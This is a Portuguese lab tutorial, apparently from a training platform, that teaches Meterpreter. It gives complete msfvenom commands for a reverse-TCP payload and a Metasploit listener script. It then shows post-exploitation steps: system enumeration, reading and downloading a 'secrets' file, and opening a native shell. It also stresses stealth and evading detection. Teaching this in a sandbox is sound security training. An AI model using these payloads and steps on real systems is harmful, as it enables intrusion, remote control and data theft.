Introdução
Bem-vindo ao laboratório de Introdução ao Meterpreter.
O Meterpreter é um payload avançado e dinamicamente extensível que faz parte do Metasploit Framework. Ao contrário de um shell de comando básico que simplesmente encaminha a entrada e saída padrão para um shell do sistema (como /bin/bash), o Meterpreter oferece um ambiente de comando rico e interativo. Ele opera inteiramente na memória, o que significa que não grava nada no disco rígido do alvo, tornando-o altamente furtivo e difícil de ser detectado por softwares antivírus tradicionais.
O que torna o Meterpreter importante é que ele transforma um shell em uma plataforma de sessão. Em vez de apenas enviar comandos de texto para o sistema operacional, você ganha recursos integrados para coleta de informações, interação com arquivos, roteamento e fluxos de trabalho de pós-exploração.
Neste laboratório, você aprenderá o processo completo de geração de um payload Meterpreter, configuração de um listener para capturar a conexão de entrada e interação com o sistema comprometido. Você explorará comandos integrados para coletar informações do sistema, navegar pelo sistema de arquivos sem depender de binários nativos do SO e acessar um shell nativo do sistema quando necessário.
Implantar o Payload Meterpreter
Nesta etapa, você gerará um payload Meterpreter e configurará um listener para estabelecer uma conexão. Usaremos o msfvenom, um gerador de payload independente fornecido pelo Metasploit Framework, para criar um arquivo executável que contém nosso payload Meterpreter.
Primeiro, certifique-se de estar no seu diretório de trabalho padrão. Você gerará um payload executável para Linux configurado para se conectar de volta à sua máquina local (um "reverse shell"). Execute o seguinte comando para criar o payload chamado payload.elf:
Esta etapa de geração é onde os parâmetros do payload se tornam realidade operacional. LHOST e LPORT não são configurações abstratas; eles definem exatamente como a sessão tentará chegar até você.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf
Se esta for a primeira vez que você usa o Metasploit no ambiente de laboratório atual, você poderá ver um prompt de configuração inicial antes que o msfvenom gere o payload. Quando perguntado se deseja configurar um novo banco de dados, responda yes e aguarde a conclusão da configuração. Depois disso, o msfvenom continuará e salvará o payload.elf.
Após gerar o payload, você deve torná-lo executável para que o sistema possa executá-lo. Use o comando chmod para adicionar permissões de execução:
chmod +x payload.elf
Em seguida, você precisa configurar um listener para capturar a conexão quando o payload for executado. Criaremos um script de recurso para automatizar a configuração do console do Metasploit (msfconsole). Crie um arquivo chamado listener.rc com a configuração necessária:
cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF
Agora, inicie o console do Metasploit usando o script de recurso que você acabou de criar. A flag -q o inicia no modo silencioso (sem o banner de inicialização), e -r instrui a execução do seu script:
msfconsole -q -r listener.rc
Você verá uma saída indicando que o manipulador TCP reverso foi iniciado em 127.0.0.1:4444.
Para executar o payload enquanto mantém o listener em execução, você precisa abrir uma nova aba de terminal. Na interface do LabEx, clique no ícone + acima do terminal para abrir uma nova janela. Neste novo terminal, execute o payload:
./payload.elf
Volte para a sua primeira aba de terminal. Você deverá ver uma mensagem informando Meterpreter session 1 opened. Pressione Enter para obter o prompt msf6 > e, em seguida, interaja com a sessão digitando:
sessions -i 1
Agora você verá o prompt meterpreter >, indicando que você implantou e se conectou com sucesso ao payload Meterpreter.
Recuperar Informações do Sistema (sysinfo)
Nesta etapa, você usará os comandos integrados do Meterpreter para coletar informações sobre o sistema comprometido. Como o Meterpreter é executado na memória e possui seu próprio conjunto de comandos, você não precisa depender dos comandos Linux nativos do sistema alvo (como uname ou whoami) para obter essas informações.
Esse conjunto de comandos integrado é uma das razões pelas quais as sessões do Meterpreter são tão valiosas. Muitas tarefas comuns do operador podem ser realizadas sem a necessidade de acessar imediatamente um shell nativo.
Certifique-se de estar no prompt meterpreter > da etapa anterior. Se não estiver, certifique-se de ter interagido com a sessão usando sessions -i 1.
Para recuperar informações básicas do sistema, como o nome do computador, sistema operacional, arquitetura e versão do Meterpreter, digite o seguinte comando:
sysinfo
Você verá uma saída semelhante a esta:
Computer : 172.17.0.2
OS : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Em seguida, você pode determinar sob qual conta de usuário o payload Meterpreter está sendo executado atualmente. Isso é crucial para entender seu nível de privilégio no sistema alvo. Execute o seguinte comando:
getuid
A saída exibirá o nome de usuário do servidor, que neste ambiente deve ser labex:
Server username: labex
Esses comandos demonstram como o Meterpreter permite que você avalie rapidamente o ambiente que você comprometeu sem acionar logs de nível de sistema que poderiam monitorar a execução de comandos nativos.
Navegar pelo Sistema de Arquivos do Alvo
Nesta etapa, você explorará o sistema de arquivos do alvo usando os comandos de gerenciamento de arquivos integrados do Meterpreter. Esses comandos funcionam de forma semelhante aos comandos padrão do Linux, mas são executados inteiramente dentro da sessão Meterpreter, adicionando uma camada extra de furtividade.
A interação com o sistema de arquivos é uma atividade central de pós-exploração, pois muitos objetivos dependem, em última análise, de encontrar, ler ou exfiltrar artefatos do host.
A partir do prompt meterpreter >, você pode verificar seu diretório de trabalho atual usando o comando pwd:
pwd
Você deverá ver /home/labex/project como seu diretório atual. Para listar o conteúdo deste diretório, use o comando ls:
ls
Você notará um diretório chamado target_data. Vamos navegar para este diretório usando o comando cd:
cd target_data
Se o ls não mostrar target_data, crie a pasta e o arquivo necessários manualmente no seu terminal regular (não na sessão Meterpreter) e continue:
mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt
Liste o conteúdo do diretório target_data para encontrar os arquivos dentro dele:
ls
Você deverá ver um arquivo chamado secrets.txt. Você pode ler o conteúdo deste arquivo diretamente no Meterpreter usando o comando cat:
cat secrets.txt
A saída revelará os dados confidenciais armazenados no arquivo. Frequentemente, durante uma avaliação, você desejará exfiltrar (baixar) arquivos para sua máquina local para análise posterior. O Meterpreter torna isso fácil com o comando download.
Baixe o arquivo secrets.txt e salve-o em seu diretório principal de projeto como downloaded_secrets.txt:
download secrets.txt /home/labex/project/downloaded_secrets.txt
Você verá uma mensagem de confirmação indicando que o arquivo foi baixado com sucesso. Isso demonstra como o Meterpreter pode transferir arquivos perfeitamente entre o alvo e sua máquina local.
Executar Comandos do Sistema (shell)
Nesta etapa, você aprenderá como acessar um shell nativo do sistema a partir da sua sessão Meterpreter. Embora o Meterpreter forneça muitos comandos integrados, há momentos em que você precisa interagir diretamente com o sistema operacional do alvo, executar scripts específicos ou usar binários nativos que o Meterpreter não suporta nativamente.
Para abrir um shell de sistema padrão, digite o seguinte comando no prompt meterpreter >:
shell
Você notará que seu prompt muda ou desaparece, indicando que agora você está interagindo diretamente com o shell /bin/sh ou /bin/bash do sistema alvo.
Agora que você está em um shell nativo, pode executar comandos Linux padrão. Vamos criar um arquivo para provar que temos recursos de execução em nível de sistema. Execute o seguinte comando para criar um arquivo chamado hacked.txt em seu diretório de projeto:
echo "hacked by meterpreter" > /home/labex/project/hacked.txt
Você pode verificar se o arquivo foi criado lendo-o com o comando cat:
cat /home/labex/project/hacked.txt
A saída exibirá hacked by meterpreter.
Assim que terminar de executar os comandos nativos do sistema, você pode retornar à sessão furtiva do Meterpreter. Para fazer isso, basta digitar exit e pressionar Enter:
exit
Você retornará ao prompt meterpreter >. Essa capacidade de alternar perfeitamente entre um ambiente furtivo residente em memória e um shell completo do sistema torna o Meterpreter uma ferramenta incrivelmente versátil.
Resumo
Parabéns! Você concluiu com sucesso o laboratório de Introdução ao Meterpreter.
Neste laboratório, você aprendeu como gerar um payload Meterpreter usando o msfvenom e configurar um listener usando o msfconsole. Você também aprendeu como recuperar informações críticas do sistema e do usuário usando os comandos integrados sysinfo e getuid do Meterpreter. Além disso, você praticou a navegação furtiva pelo sistema de arquivos do alvo e a exfiltração de dados usando o comando download. Finalmente, você aprendeu como acessar um shell nativo do sistema para executar comandos em nível de SO e retornar perfeitamente à sessão Meterpreter.
Essas habilidades fundamentais formam a base das atividades de pós-exploração, permitindo que você mantenha o controle, colete inteligência e manipule sistemas comprometidos de forma eficaz.



